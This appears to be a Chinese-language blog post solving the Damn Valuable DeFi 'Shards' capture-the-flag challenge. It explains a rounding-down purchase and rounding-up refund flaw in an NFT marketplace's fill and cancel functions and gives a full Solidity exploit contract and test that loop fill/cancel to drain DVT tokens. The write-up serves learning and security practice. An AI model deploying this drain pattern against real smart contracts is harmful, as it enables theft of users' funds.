iT邦幫忙

2024 iThome 鐵人賽

DAY 19
0
The Shards NFT marketplace is a permissionless smart contract enabling holders of Damn Valuable NFTs to sell them at any price (expressed in USDC).

These NFTs could be so damn valuable that sellers can offer them in smaller fractions (“shards”). Buyers can buy these shards, represented by an ERC1155 token. The marketplace only pays the seller once the whole NFT is sold.

The marketplace charges sellers a 1% fee in Damn Valuable Tokens (DVT). These can be stored in a secure on-chain vault, which in turn integrates with a DVT staking system.

Somebody is selling one NFT for… wow, a million USDC?

You better dig into that marketplace before the degens find out.

You start with no DVTs. Rescue as much funds as you can in a single transaction, and deposit the assets into the designated recovery account.

Analyze WTF

按照題目的意思,我們這題要盡量在一筆交易中達成我們的目的,經過簡單的分析,我們需要將 ShardsNFTMarketplace 合約中的大部分 DVT 代幣轉移到 recovery 帳戶中,為了達成這個目的,我們可能可以在 ShardsNFTMarketplace 合約中的 cancel_cancel 以及 feeVault 三個 function 中達成我們的目的

我們可以先研究一下交易的機制,其中 fill 這個 function 有一些有趣的地方

    function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) {
        Offer storage offer = offers[offerId];
        if (want == 0) revert BadAmount();
        if (offer.price == 0) revert UnknownOffer();
        if (want > offer.stock) revert OutOfStock();
        if (!offer.isOpen) revert NotOpened(offerId);

        offer.stock -= want;
        purchaseIndex = purchases[offerId].length;
        uint256 _currentRate = rate;
        purchases[offerId].push(
            Purchase({
                shards: want,
                rate: _currentRate,
                buyer: msg.sender,
                timestamp: uint64(block.timestamp),
                cancelled: false
            })
        );
        paymentToken.transferFrom(
            msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards)
        );
        if (offer.stock == 0) _closeOffer(offerId);
    }

可以看到 offer.totalShards 非常大,就算其中的 want 不為 0 的情況下,使用 mulDivDown 一樣會向下取整數,意思就是我們可以在不支付 DVT 的狀況下帶走少量的 NFT 碎片

接著就是剛剛提到的轉移手法,上面的三個 function 中的 cancel 會是最有希望的

    function cancel(uint64 offerId, uint256 purchaseIndex) external {
        Offer storage offer = offers[offerId];
        Purchase storage purchase = purchases[offerId][purchaseIndex];
        address buyer = purchase.buyer;

        if (msg.sender != buyer) revert NotAllowed();
        if (!offer.isOpen) revert NotOpened(offerId);
        if (purchase.cancelled) revert AlreadyCancelled();
        if (
            purchase.timestamp + CANCEL_PERIOD_LENGTH < block.timestamp
                || block.timestamp > purchase.timestamp + TIME_BEFORE_CANCEL
        ) revert BadTime();

        offer.stock += purchase.shards;
        assert(offer.stock <= offer.totalShards); // invariant
        purchase.cancelled = true;

        emit Cancelled(offerId, purchaseIndex);

        paymentToken.transfer(buyer, purchase.shards.mulDivUp(purchase.rate, 1e6));
    }

因為其擁有一些關於時間邏輯上的漏洞,我們可以利用的方式是在購買後取消購買,但是退款機制中的 mulDivUp 會向上取整,所以可以利用取消購買來刷出額外的 DVT

Solve WTF

我們會用到 FixedPointMathLib.sol

攻擊合約

contract ShardsExploit {
    using FixedPointMathLib for uint256;

    ShardsNFTMarketplace public marketplace;
    DamnValuableToken public token;
    address public recovery;

    uint256 public constant MARKETPLACE_INITIAL_RATE = 75e15;
    uint112 public constant NFT_OFFER_PRICE = 1_000_000e6;
    uint112 public constant NFT_OFFER_SHARDS = 10_000_000e18;

    // 构造函数,初始化 marketplace, token 和 recovery 地址
    constructor(ShardsNFTMarketplace _marketplace, DamnValuableToken _token, address _recovery) {
        marketplace = _marketplace;
        token = _token;
        recovery = _recovery;
    }

    // 發起攻擊,重複填充並取消 shards,然後轉移代幣到 recovery 地址
    function attack(uint64 offerId) external {
        uint256 wantShards = 100; // 預定購買的碎片數量

        // 重複執行購買和取消操作,模擬攻擊
        for (uint256 i = 0; i < 10001; i++) {
            marketplace.fill(offerId, wantShards); // 填充 offer
            marketplace.cancel(1, i);              // 取消交易
        }

        // 將所有 DVT 代幣轉移到 recovery 地址
        token.transfer(recovery, token.balanceOf(address(this)));
    }

    // 根據需求返回可以購買的最大碎片數量
    function getMaxWant(uint256 want) public pure returns (uint256) {
        return want.mulDivDown(_toDVT(NFT_OFFER_PRICE, MARKETPLACE_INITIAL_RATE), NFT_OFFER_SHARDS);
    }

    // 計算根據給定 want 可以獲得的 DVT 數量
    function getDVT(uint256 want) public pure returns (uint256) {
        return want.mulDivUp(MARKETPLACE_INITIAL_RATE, 1e6);
    }

    // 將價格轉換為 DVT 數量的輔助函數
    function _toDVT(uint256 _value, uint256 _rate) private pure returns (uint256) {
        return _value.mulDivDown(_rate, 1e6);
    }
}

測試 function

    function test_shards() public checkSolvedByPlayer {
        // 部署攻擊合約
        ShardsExploit exploit = new ShardsExploit(marketplace, token, recovery);

        // 尋找最大購買量
        for (uint256 i = 0; i < 500; i++) {
            uint256 shards = exploit.getMaxWant(i);
            if (shards > 0) {
                console.log("want:", i - 1);
                break;
            }
        }

        // 打印可獲取的 DVT 數量
        console.log("Get DVT:", exploit.getDVT(100));

        // 發起攻擊,使用 offerId 1
        exploit.attack(1);
    }

https://ithelp.ithome.com.tw/upload/images/20241002/201630092XLOzSXWwX.png

每日梗圖(1/1)
好久沒有颱風假放兩天了,結果🌀還在慢慢晃
https://ithelp.ithome.com.tw/upload/images/20241003/20163009kqeIVjq099.jpg


上一篇
Day 18 - ABI Smuggling_好欸偷渡客
下一篇
Day 20 - Withdrawal_提款機
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言